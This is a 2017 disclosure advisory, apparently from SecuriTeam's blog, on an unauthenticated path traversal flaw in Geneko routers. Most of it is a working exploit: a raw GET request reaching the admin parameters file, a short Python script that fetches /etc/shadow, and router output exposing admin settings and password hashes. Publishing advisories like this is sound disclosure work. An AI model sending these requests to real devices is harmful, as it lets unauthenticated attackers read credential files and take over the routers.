SSD Advisory – Geneko Routers Unauthenticated Path Traversal

blogs.securiteam.com/index.php/archives/3317

SSD / Maor Schwartz July 16, 2017

Vulnerability Summary
The following advisory describes a Unauthenticated Path Traversal vulnerability found in Geneko GWR routers series.

Geneko GWG is compact and cost effective communications solution that provides cellular capabilities for fixed and mobile applications such as data acquisition, smart metering, remote monitoring and management. GWG supports a variety of radio bands options on 2G, 3G and 4G cellular technologies.

Credit
An independent security researcher, Patrik Fehrenbach (@ITSecurityguard), has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
We have informed Geneko of the vulnerability on the 28th of May 2017, the last email we received from them was on the 7th of June 2017. We have no further updates from Geneko regarding the availability of a patch or a workaround for the vulnerability.

Vulnerability Details
User controlled input is not sufficiently sanitized, and then passed to a function responsible for accessing the filesystem. Successful exploitation of this vulnerability enables a remote unauthenticated user to read the content of any file existing on the host, this includes files located outside of the web root folder.

By sending the following GET request, You get direct access to the configuration file, which allows you to log in to the login panel:

```
1  GET /../../../../../../../../../../../../mnt/flash/params/j_admin_admin.params HTTP/1.1
2  Host:
3  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
4  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5  Accept-Language: de,en-US;q=0.7,en;q=0.3
6  Connection: close
7  Upgrade-Insecure-Requests: 1
```

Router response:

```
1  HTTP/1.1 200 OK
2  Content-Type: application/octet-stream
3  Content-Length: 121
4
5  {"enable":true,"username":"admin","password”:"xxx!","web_access":0,"http_port":80,"https_port":443,"gui_timeout":15}
6
7  In this case, the admin user is configured to have access to the shell (SSH Access) as can be seen in the /etc/passwd
8
9  admin:x:0:0:root:/root:/root/cli
```

Proof of Concept

path_traversal.py

Python

```
1 import requests
2 import sys
3 domain = sys.argv[1]
4 r = requests.get("http://"+domain+"/../../../../../etc/shadow")
5 print r.content
```

The router then will response with:

```
1  root:$1$ryjw5yTs$xoQlzavABZ5c7gQuD7jKO0:10933:0:99999:7:::
2  bin:*:10933:0:99999:7:::
3  daemon:*:10933:0:99999:7:::
4  adm:*:10933:0:99999:7:::
5  lp:*:10933:0:99999:7:::
6  sync:*:10933:0:99999:7:::
7  shutdown:*:10933:0:99999:7:::
8  halt:*:10933:0:99999:7:::
9  uucp:*:10933:0:99999:7:::
10 operator:*:10933:0:99999:7:::
11 nobody:*:10933:0:99999:7:::
12 admin:$1$72G6z9YF$cs5dS2elxOD3qicUTlEHO/:10933:0:99999:7:::
```